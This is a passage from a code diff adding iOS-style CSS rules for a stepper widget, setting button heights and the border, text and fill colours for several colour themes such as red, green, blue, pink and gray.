.stepper-button-plus.active-state:before, +.ios .stepper-small.stepper-fill-ios .stepper-button-plus.active-state:before, +.ios .stepper-small-ios.stepper-fill-ios .stepper-button-plus.active-state:before, +.ios .stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .stepper-small.stepper-fill-ios .stepper-button-minus.active-state:before, +.ios .stepper-small-ios.stepper-fill-ios .stepper-button-minus.active-state:before, +.ios .stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .stepper-small.stepper-fill-ios .stepper-button-plus.active-state:after, +.ios .stepper-small-ios.stepper-fill-ios .stepper-button-plus.active-state:after, +.ios .stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after, +.ios .stepper-small.stepper-fill-ios .stepper-button-minus.active-state:after, +.ios .stepper-small-ios.stepper-fill-ios .stepper-button-minus.active-state:after { + background-color: #007aff; +} +.ios .stepper-big, +.ios .stepper-big-ios { + height: 44px; +} +.ios .stepper-big .stepper-button, +.ios .stepper-big-ios .stepper-button, +.ios .stepper-big .stepper-button-minus, +.ios .stepper-big-ios .stepper-button-minus, +.ios .stepper-big .stepper-button-plus, +.ios .stepper-big-ios .stepper-button-plus { + height: 44px; + line-height: 42px; +} +.ios .color-theme-red .stepper .stepper-button, +.ios .color-theme-red .stepper .stepper-button-minus, +.ios .color-theme-red .stepper .stepper-button-plus { + border-color: #ff3b30; + color: #ff3b30; +} +.ios .color-theme-red .stepper .stepper-button.active-state, +.ios .color-theme-red .stepper .stepper-button-minus.active-state, +.ios .color-theme-red .stepper .stepper-button-plus.active-state { + background-color: rgba(255, 59, 48, 0.15); +} +.ios .color-theme-red .stepper .stepper-button-plus:after, +.ios .color-theme-red .stepper .stepper-button-minus:after, +.ios .color-theme-red .stepper .stepper-button-plus:before, +.ios .color-theme-red .stepper .stepper-button-minus:before { + background-color: #ff3b30; +} +.ios .color-theme-red .stepper .stepper-value, +.ios .color-theme-red .stepper .stepper-input-wrap { + border-top-color: #ff3b30; + border-bottom-color: #ff3b30; +} +.ios .color-theme-red .stepper .stepper-value { + color: #ff3b30; +} +.ios .color-theme-red .stepper .stepper-input-wrap input { + color: #ff3b30; +} +.ios .color-theme-red .stepper.stepper-fill .stepper-button, +.ios .color-theme-red .stepper.stepper-fill-ios .stepper-button, +.ios .color-theme-red .stepper.stepper-fill .stepper-button-minus, +.ios .color-theme-red .stepper.stepper-fill-ios .stepper-button-minus, +.ios .color-theme-red .stepper.stepper-fill .stepper-button-plus, +.ios .color-theme-red .stepper.stepper-fill-ios .stepper-button-plus { + background-color: #ff3b30; +} +.ios .color-theme-red .stepper.stepper-fill .stepper-button-plus:before, +.ios .color-theme-red .stepper.stepper-fill-ios .stepper-button-plus:before, +.ios .color-theme-red .stepper.stepper-fill .stepper-button-minus:before, +.ios .color-theme-red .stepper.stepper-fill-ios .stepper-button-minus:before, +.ios .color-theme-red .stepper.stepper-fill .stepper-button-plus:after, +.ios .color-theme-red .stepper.stepper-fill-ios .stepper-button-plus:after, +.ios .color-theme-red .stepper.stepper-fill .stepper-button-minus:after, +.ios .color-theme-red .stepper.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .color-theme-red .stepper.stepper-small.stepper-fill .stepper-button.active-state, +.ios .color-theme-red .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .color-theme-red .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-red .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-red .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .color-theme-red .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #ff3b30; + border-color: #ff3b30; + background-color: transparent; +} +.ios .color-theme-red .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-red .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-red .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-red .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-red .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-red .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-red .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .color-theme-red .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #ff3b30; +} +.ios .color-theme-green .stepper .stepper-button, +.ios .color-theme-green .stepper .stepper-button-minus, +.ios .color-theme-green .stepper .stepper-button-plus { + border-color: #4cd964; + color: #4cd964; +} +.ios .color-theme-green .stepper .stepper-button.active-state, +.ios .color-theme-green .stepper .stepper-button-minus.active-state, +.ios .color-theme-green .stepper .stepper-button-plus.active-state { + background-color: rgba(76, 217, 100, 0.15); +} +.ios .color-theme-green .stepper .stepper-button-plus:after, +.ios .color-theme-green .stepper .stepper-button-minus:after, +.ios .color-theme-green .stepper .stepper-button-plus:before, +.ios .color-theme-green .stepper .stepper-button-minus:before { + background-color: #4cd964; +} +.ios .color-theme-green .stepper .stepper-value, +.ios .color-theme-green .stepper .stepper-input-wrap { + border-top-color: #4cd964; + border-bottom-color: #4cd964; +} +.ios .color-theme-green .stepper .stepper-value { + color: #4cd964; +} +.ios .color-theme-green .stepper .stepper-input-wrap input { + color: #4cd964; +} +.ios .color-theme-green .stepper.stepper-fill .stepper-button, +.ios .color-theme-green .stepper.stepper-fill-ios .stepper-button, +.ios .color-theme-green .stepper.stepper-fill .stepper-button-minus, +.ios .color-theme-green .stepper.stepper-fill-ios .stepper-button-minus, +.ios .color-theme-green .stepper.stepper-fill .stepper-button-plus, +.ios .color-theme-green .stepper.stepper-fill-ios .stepper-button-plus { + background-color: #4cd964; +} +.ios .color-theme-green .stepper.stepper-fill .stepper-button-plus:before, +.ios .color-theme-green .stepper.stepper-fill-ios .stepper-button-plus:before, +.ios .color-theme-green .stepper.stepper-fill .stepper-button-minus:before, +.ios .color-theme-green .stepper.stepper-fill-ios .stepper-button-minus:before, +.ios .color-theme-green .stepper.stepper-fill .stepper-button-plus:after, +.ios .color-theme-green .stepper.stepper-fill-ios .stepper-button-plus:after, +.ios .color-theme-green .stepper.stepper-fill .stepper-button-minus:after, +.ios .color-theme-green .stepper.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .color-theme-green .stepper.stepper-small.stepper-fill .stepper-button.active-state, +.ios .color-theme-green .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .color-theme-green .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-green .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-green .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .color-theme-green .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #4cd964; + border-color: #4cd964; + background-color: transparent; +} +.ios .color-theme-green .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-green .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-green .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-green .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-green .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-green .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-green .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .color-theme-green .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #4cd964; +} +.ios .color-theme-blue .stepper .stepper-button, +.ios .color-theme-blue .stepper .stepper-button-minus, +.ios .color-theme-blue .stepper .stepper-button-plus { + border-color: #007aff; + color: #007aff; +} +.ios .color-theme-blue .stepper .stepper-button.active-state, +.ios .color-theme-blue .stepper .stepper-button-minus.active-state, +.ios .color-theme-blue .stepper .stepper-button-plus.active-state { + background-color: rgba(0, 122, 255, 0.15); +} +.ios .color-theme-blue .stepper .stepper-button-plus:after, +.ios .color-theme-blue .stepper .stepper-button-minus:after, +.ios .color-theme-blue .stepper .stepper-button-plus:before, +.ios .color-theme-blue .stepper .stepper-button-minus:before { + background-color: #007aff; +} +.ios .color-theme-blue .stepper .stepper-value, +.ios .color-theme-blue .stepper .stepper-input-wrap { + border-top-color: #007aff; + border-bottom-color: #007aff; +} +.ios .color-theme-blue .stepper .stepper-value { + color: #007aff; +} +.ios .color-theme-blue .stepper .stepper-input-wrap input { + color: #007aff; +} +.ios .color-theme-blue .stepper.stepper-fill .stepper-button, +.ios .color-theme-blue .stepper.stepper-fill-ios .stepper-button, +.ios .color-theme-blue .stepper.stepper-fill .stepper-button-minus, +.ios .color-theme-blue .stepper.stepper-fill-ios .stepper-button-minus, +.ios .color-theme-blue .stepper.stepper-fill .stepper-button-plus, +.ios .color-theme-blue .stepper.stepper-fill-ios .stepper-button-plus { + background-color: #007aff; +} +.ios .color-theme-blue .stepper.stepper-fill .stepper-button-plus:before, +.ios .color-theme-blue .stepper.stepper-fill-ios .stepper-button-plus:before, +.ios .color-theme-blue .stepper.stepper-fill .stepper-button-minus:before, +.ios .color-theme-blue .stepper.stepper-fill-ios .stepper-button-minus:before, +.ios .color-theme-blue .stepper.stepper-fill .stepper-button-plus:after, +.ios .color-theme-blue .stepper.stepper-fill-ios .stepper-button-plus:after, +.ios .color-theme-blue .stepper.stepper-fill .stepper-button-minus:after, +.ios .color-theme-blue .stepper.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .color-theme-blue .stepper.stepper-small.stepper-fill .stepper-button.active-state, +.ios .color-theme-blue .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .color-theme-blue .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-blue .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-blue .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .color-theme-blue .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #007aff; + border-color: #007aff; + background-color: transparent; +} +.ios .color-theme-blue .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-blue .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-blue .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-blue .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-blue .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-blue .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-blue .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .color-theme-blue .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #007aff; +} +.ios .color-theme-pink .stepper .stepper-button, +.ios .color-theme-pink .stepper .stepper-button-minus, +.ios .color-theme-pink .stepper .stepper-button-plus { + border-color: #ff2d55; + color: #ff2d55; +} +.ios .color-theme-pink .stepper .stepper-button.active-state, +.ios .color-theme-pink .stepper .stepper-button-minus.active-state, +.ios .color-theme-pink .stepper .stepper-button-plus.active-state { + background-color: rgba(255, 45, 85, 0.15); +} +.ios .color-theme-pink .stepper .stepper-button-plus:after, +.ios .color-theme-pink .stepper .stepper-button-minus:after, +.ios .color-theme-pink .stepper .stepper-button-plus:before, +.ios .color-theme-pink .stepper .stepper-button-minus:before { + background-color: #ff2d55; +} +.ios .color-theme-pink .stepper .stepper-value, +.ios .color-theme-pink .stepper .stepper-input-wrap { + border-top-color: #ff2d55; + border-bottom-color: #ff2d55; +} +.ios .color-theme-pink .stepper .stepper-value { + color: #ff2d55; +} +.ios .color-theme-pink .stepper .stepper-input-wrap input { + color: #ff2d55; +} +.ios .color-theme-pink .stepper.stepper-fill .stepper-button, +.ios .color-theme-pink .stepper.stepper-fill-ios .stepper-button, +.ios .color-theme-pink .stepper.stepper-fill .stepper-button-minus, +.ios .color-theme-pink .stepper.stepper-fill-ios .stepper-button-minus, +.ios .color-theme-pink .stepper.stepper-fill .stepper-button-plus, +.ios .color-theme-pink .stepper.stepper-fill-ios .stepper-button-plus { + background-color: #ff2d55; +} +.ios .color-theme-pink .stepper.stepper-fill .stepper-button-plus:before, +.ios .color-theme-pink .stepper.stepper-fill-ios .stepper-button-plus:before, +.ios .color-theme-pink .stepper.stepper-fill .stepper-button-minus:before, +.ios .color-theme-pink .stepper.stepper-fill-ios .stepper-button-minus:before, +.ios .color-theme-pink .stepper.stepper-fill .stepper-button-plus:after, +.ios .color-theme-pink .stepper.stepper-fill-ios .stepper-button-plus:after, +.ios .color-theme-pink .stepper.stepper-fill .stepper-button-minus:after, +.ios .color-theme-pink .stepper.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .color-theme-pink .stepper.stepper-small.stepper-fill .stepper-button.active-state, +.ios .color-theme-pink .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .color-theme-pink .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-pink .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-pink .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .color-theme-pink .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #ff2d55; + border-color: #ff2d55; + background-color: transparent; +} +.ios .color-theme-pink .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-pink .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-pink .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-pink .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-pink .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-pink .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-pink .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .color-theme-pink .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #ff2d55; +} +.ios .color-theme-yellow .stepper .stepper-button, +.ios .color-theme-yellow .stepper .stepper-button-minus, +.ios .color-theme-yellow .stepper .stepper-button-plus { + border-color: #ffcc00; + color: #ffcc00; +} +.ios .color-theme-yellow .stepper .stepper-button.active-state, +.ios .color-theme-yellow .stepper .stepper-button-minus.active-state, +.ios .color-theme-yellow .stepper .stepper-button-plus.active-state { + background-color: rgba(255, 204, 0, 0.15); +} +.ios .color-theme-yellow .stepper .stepper-button-plus:after, +.ios .color-theme-yellow .stepper .stepper-button-minus:after, +.ios .color-theme-yellow .stepper .stepper-button-plus:before, +.ios .color-theme-yellow .stepper .stepper-button-minus:before { + background-color: #ffcc00; +} +.ios .color-theme-yellow .stepper .stepper-value, +.ios .color-theme-yellow .stepper .stepper-input-wrap { + border-top-color: #ffcc00; + border-bottom-color: #ffcc00; +} +.ios .color-theme-yellow .stepper .stepper-value { + color: #ffcc00; +} +.ios .color-theme-yellow .stepper .stepper-input-wrap input { + color: #ffcc00; +} +.ios .color-theme-yellow .stepper.stepper-fill .stepper-button, +.ios .color-theme-yellow .stepper.stepper-fill-ios .stepper-button, +.ios .color-theme-yellow .stepper.stepper-fill .stepper-button-minus, +.ios .color-theme-yellow .stepper.stepper-fill-ios .stepper-button-minus, +.ios .color-theme-yellow .stepper.stepper-fill .stepper-button-plus, +.ios .color-theme-yellow .stepper.stepper-fill-ios .stepper-button-plus { + background-color: #ffcc00; +} +.ios .color-theme-yellow .stepper.stepper-fill .stepper-button-plus:before, +.ios .color-theme-yellow .stepper.stepper-fill-ios .stepper-button-plus:before, +.ios .color-theme-yellow .stepper.stepper-fill .stepper-button-minus:before, +.ios .color-theme-yellow .stepper.stepper-fill-ios .stepper-button-minus:before, +.ios .color-theme-yellow .stepper.stepper-fill .stepper-button-plus:after, +.ios .color-theme-yellow .stepper.stepper-fill-ios .stepper-button-plus:after, +.ios .color-theme-yellow .stepper.stepper-fill .stepper-button-minus:after, +.ios .color-theme-yellow .stepper.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .color-theme-yellow .stepper.stepper-small.stepper-fill .stepper-button.active-state, +.ios .color-theme-yellow .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .color-theme-yellow .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-yellow .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-yellow .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .color-theme-yellow .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #ffcc00; + border-color: #ffcc00; + background-color: transparent; +} +.ios .color-theme-yellow .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-yellow .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-yellow .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-yellow .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-yellow .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-yellow .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-yellow .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .color-theme-yellow .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #ffcc00; +} +.ios .color-theme-orange .stepper .stepper-button, +.ios .color-theme-orange .stepper .stepper-button-minus, +.ios .color-theme-orange .stepper .stepper-button-plus { + border-color: #ff9500; + color: #ff9500; +} +.ios .color-theme-orange .stepper .stepper-button.active-state, +.ios .color-theme-orange .stepper .stepper-button-minus.active-state, +.ios .color-theme-orange .stepper .stepper-button-plus.active-state { + background-color: rgba(255, 149, 0, 0.15); +} +.ios .color-theme-orange .stepper .stepper-button-plus:after, +.ios .color-theme-orange .stepper .stepper-button-minus:after, +.ios .color-theme-orange .stepper .stepper-button-plus:before, +.ios .color-theme-orange .stepper .stepper-button-minus:before { + background-color: #ff9500; +} +.ios .color-theme-orange .stepper .stepper-value, +.ios .color-theme-orange .stepper .stepper-input-wrap { + border-top-color: #ff9500; + border-bottom-color: #ff9500; +} +.ios .color-theme-orange .stepper .stepper-value { + color: #ff9500; +} +.ios .color-theme-orange .stepper .stepper-input-wrap input { + color: #ff9500; +} +.ios .color-theme-orange .stepper.stepper-fill .stepper-button, +.ios .color-theme-orange .stepper.stepper-fill-ios .stepper-button, +.ios .color-theme-orange .stepper.stepper-fill .stepper-button-minus, +.ios .color-theme-orange .stepper.stepper-fill-ios .stepper-button-minus, +.ios .color-theme-orange .stepper.stepper-fill .stepper-button-plus, +.ios .color-theme-orange .stepper.stepper-fill-ios .stepper-button-plus { + background-color: #ff9500; +} +.ios .color-theme-orange .stepper.stepper-fill .stepper-button-plus:before, +.ios .color-theme-orange .stepper.stepper-fill-ios .stepper-button-plus:before, +.ios .color-theme-orange .stepper.stepper-fill .stepper-button-minus:before, +.ios .color-theme-orange .stepper.stepper-fill-ios .stepper-button-minus:before, +.ios .color-theme-orange .stepper.stepper-fill .stepper-button-plus:after, +.ios .color-theme-orange .stepper.stepper-fill-ios .stepper-button-plus:after, +.ios .color-theme-orange .stepper.stepper-fill .stepper-button-minus:after, +.ios .color-theme-orange .stepper.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .color-theme-orange .stepper.stepper-small.stepper-fill .stepper-button.active-state, +.ios .color-theme-orange .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .color-theme-orange .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-orange .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-orange .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .color-theme-orange .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #ff9500; + border-color: #ff9500; + background-color: transparent; +} +.ios .color-theme-orange .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-orange .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-orange .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-orange .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-orange .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-orange .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-orange .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .color-theme-orange .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #ff9500; +} +.ios .color-theme-gray .stepper .stepper-button, +.ios .color-theme-gray .stepper .stepper-button-minus, +.ios .color-theme-gray .stepper .stepper-button-plus { + border-color: #8e8e93; + color: #8e8e93; +} +.ios .color-theme-gray .stepper .stepper-button.active-state, +.ios .color-theme-gray .stepper .stepper-button-minus.active-state, +.ios .color-theme-gray .stepper .stepper-button-plus.active-state { + background-color: rgba(142, 142, 147, 0.15); +} +.ios .color-theme-gray .stepper .stepper-button-plus:after, +.ios .color-theme-gray .stepper .stepper-button-minus:after, +.ios .color-theme-gray .stepper .stepper-button-plus:before, +.ios .color-theme-gray .stepper .stepper-button-minus:before { + background-color: #8e8e93; +} +.ios .color-theme-gray .stepper .stepper-value, +.ios .color-theme-gray .stepper .stepper-input-wrap { + border-top-color: #8e8e93; + border-bottom-color: #8e8e93; +} +.ios .color-theme-gray .stepper .stepper-value { + color: #8e8e93; +} +.ios .color-theme-gray .stepper .stepper-input-wrap input { + color: #8e8e93; +} +.ios .color-theme-gray .stepper.stepper-fill .stepper-button, +.ios .color-theme-gray .stepper.stepper-fill-ios .stepper-button, +.ios .color-theme-gray .stepper.stepper-fill .stepper-button-minus, +.ios .color-theme-gray .stepper.stepper-fill-ios .stepper-button-minus, +.ios .color-theme-gray .stepper.stepper-fill .stepper-button-plus, +.ios .color-theme-gray .stepper.stepper-fill-ios .stepper-button-plus { + background-color: #8e8e93; +} +.ios .color-theme-gray .stepper.stepper-fill .stepper-button-plus:before, +.ios .color-theme-gray .stepper.stepper-fill-ios .stepper-button-plus:before, +.ios .color-theme-gray .stepper.stepper-fill .stepper-button-minus:before, +.ios .color-theme-gray .stepper.stepper-fill-ios .stepper-button-minus:before, +.ios .color-theme-gray .stepper.stepper-fill .stepper-button-plus:after, +.ios .color-theme-gray .stepper.stepper-fill-ios .stepper-button-plus:after, +.ios .color-theme-gray .stepper.stepper-fill .stepper-button-minus:after, +.ios .color-theme-gray .stepper.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .color-theme-gray .stepper.stepper-small.stepper-fill .stepper-button.active-state, +.ios .color-theme-gray .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .color-theme-gray .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-gray .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-gray .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .color-theme-gray .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #8e8e93; + border-color: #8e8e93; + background-color: transparent; +} +.ios .color-theme-gray .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-gray .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-gray .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-gray .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-gray .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-gray .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-gray .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .color-theme-gray .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #8e8e93; +} +.ios .color-theme-white .stepper .stepper-button, +.ios .color-theme-white .stepper .stepper-button-minus, +.ios .color-theme-white .stepper .stepper-button-plus { + border-color: #ffffff; + color: #ffffff; +} +.ios .color-theme-white .stepper .stepper-button.active-state, +.ios .color-theme-white .stepper .stepper-button-minus.active-state, +.ios .color-theme-white .stepper .stepper-button-plus.active-state { + background-color: rgba(255, 255, 255, 0.15); +} +.ios .color-theme-white .stepper .stepper-button-plus:after, +.ios .color-theme-white .stepper .stepper-button-minus:after, +.ios .color-theme-white .stepper .stepper-button-plus:before, +.ios .color-theme-white .stepper .stepper-button-minus:before { + background-color: #ffffff; +} +.ios .color-theme-white .stepper .stepper-value, +.ios .color-theme-white .stepper .stepper-input-wrap { + border-top-color: #ffffff; + border-bottom-color: #ffffff; +} +.ios .color-theme-white .stepper .stepper-value { + color: #ffffff; +} +.ios .color-theme-white .stepper .stepper-input-wrap input { + color: #ffffff; +} +.ios .color-theme-white .stepper.stepper-fill .stepper-button, +.ios .color-theme-white .stepper.stepper-fill-ios .stepper-button, +.ios .color-theme-white .stepper.stepper-fill .stepper-button-minus, +.ios .color-theme-white .stepper.stepper-fill-ios .stepper-button-minus, +.ios .color-theme-white .stepper.stepper-fill .stepper-button-plus, +.ios .color-theme-white .stepper.stepper-fill-ios .stepper-button-plus { + background-color: #ffffff; +} +.ios .color-theme-white .stepper.stepper-fill .stepper-button-plus:before, +.ios .color-theme-white .stepper.stepper-fill-ios .stepper-button-plus:before, +.ios .color-theme-white .stepper.stepper-fill .stepper-button-minus:before, +.ios .color-theme-white .stepper.stepper-fill-ios .stepper-button-minus:before, +.ios .color-theme-white .stepper.stepper-fill .stepper-button-plus:after, +.ios .color-theme-white .stepper.stepper-fill-ios .stepper-button-plus:after, +.ios .color-theme-white .stepper.stepper-fill .stepper-button-minus:after, +.ios .color-theme-white .stepper.stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .color-theme-white .stepper.stepper-small.stepper-fill .stepper-button.active-state, +.ios .color-theme-white .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state, +.ios .color-theme-white .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-white .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state, +.ios .color-theme-white .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state, +.ios .color-theme-white .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state { + color: #ffffff; + border-color: #ffffff; + background-color: transparent; +} +.ios .color-theme-white .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-white .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before, +.ios .color-theme-white .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-white .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before, +.ios .color-theme-white .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-white .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after, +.ios .color-theme-white .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after, +.ios .color-theme-white .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after { + background-color: #ffffff; +} +.ios .color-theme-black .stepper .stepper-button, +.ios .color-theme-black .stepper .stepper-button-minus, +.ios .color-theme-black .stepper .stepper-button-plus { + border-color: #000000; + color: #000000; +} +.ios .color-theme-black .stepper .stepper-button.active-state, +.ios .color-theme-black .stepper .stepper-button-minus.active-state, +.ios .color-theme-black .stepper .stepper-button-plus.active-state { + background-color: rgba(0, 0, 0, 0.15); +} +.ios .color-theme-black .stepper .stepper-button-plus:after, +.ios .color-theme-black .stepper .stepper-button-minus:after, +.ios .color-theme-black .stepper .stepper-button-plus:before, +.ios .color-theme-black .stepper .stepper-button-minus:before { + background-color: #000000; +} +.ios .color-theme-black .stepper .stepper-value, +.ios .color-theme-black .stepper .stepper-input-wrap { + border-top-color: #000000; + border-bottom-color: #000000; +} +.ios .color-theme-black .stepper .stepper-value { + color: #000000; +} +.ios .color-theme-black .stepper .stepper-input-wrap input { + color: #000000; +} +.ios .color-theme-black .stepper.stepper-fill .stepper-button, +.ios .color-theme-black .stepper.stepper-fill-ios .stepper-button, +.ios .color-theme-black .stepper.stepper-fill .stepper-button-minus, +.ios .color-theme-black .stepper.stepper-fill-ios .stepper-button-minus, +.ios .color-theme-black .stepper.stepper-fill .stepper-button-plus, +.ios .color-theme-black .stepper.stepper-fill-ios .stepper-button-plus { + background-color: #000000; +} +.ios .color-theme-black .stepper.stepper-fill .stepper-button-plus:before, +.ios .color-theme-black .stepper.stepper-fill-ios .stepper-button-plus:before, +.ios .color-theme-black .stepper.stepper-fill .stepper-button-minus:before, +.ios .color-theme-black .stepper.stepper-fill-ios .stepper-button-minus:before, +.ios .color-theme-black .stepper.stepper-fill .stepper-button-plus:after, +.ios .color-theme-black .stepper.stepper-fill-ios .stepper-button-plus:after, +.ios .color-theme-black .stepper.stepper-fill 